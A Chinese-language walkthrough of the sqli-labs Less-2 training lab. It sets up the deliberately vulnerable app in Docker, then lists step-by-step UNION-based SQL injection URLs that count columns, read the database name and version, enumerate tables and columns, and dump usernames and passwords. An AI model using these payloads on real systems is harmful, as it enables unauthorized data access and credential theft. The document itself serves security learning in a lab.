摘要
这篇文章主要介绍了如何进行SQL注入攻击,以sqli-labs的Less-2为例,详细讲解了如何注入攻击,并成功获取目标网站的用户名密码。文章提供了完整的攻击步骤,包括是否存在注入、判断数、判断显错位、判断库名、版本号、判断表名、判断列名和判断数据等步骤,并且还提供了美化后的格式结果。目的是帮助用户了解SQL注入攻击的基本原理和实际操作步骤。想深刻了解的参考sqli-labs系列——Less-1这篇文章
实验环节
前期准备
su - root
docker run -d --name sqli-labs -p 80:80 -p 13306:3306 --rm acgpiano/sqli-labs #为了不占用系统资源,这条命令在每次虚拟机关机后会自动清除进程,所以每次开机后都要运行这条命令
浏览器访问Less-2的地址
打开HackBar插件
判断是否存在注入
http://192.168.199.129/Less-2/?id=1' and 1=1 -- xz
#可以看到页面显示报错存在数值型注入
判断字段数
http://192.168.199.129/Less-2/?id=1 order by 4 -- xz
#order by 1-3都是没有任何异常,4显示报错
判断显错位
http://192.168.199.129/Less-2/?id=-1 union select 1,2,3 -- xz
判断库名,版本号
http://192.168.199.129/Less-2/?id=-1 union select 1,database(),version() -- xz
判断表名
http://192.168.199.129/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- xz
#也可使用limit一个一个查询,这样不容易掉坑,上节讲解了具体用法,这里就不多说了
判断列名
http://192.168.199.129/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- xz
判断数据
http://192.168.199.129/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users -- xz
美化后的格式结果
http://192.168.199.129/Less-2/?id=-1 union select 1,group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users -- xz
评论区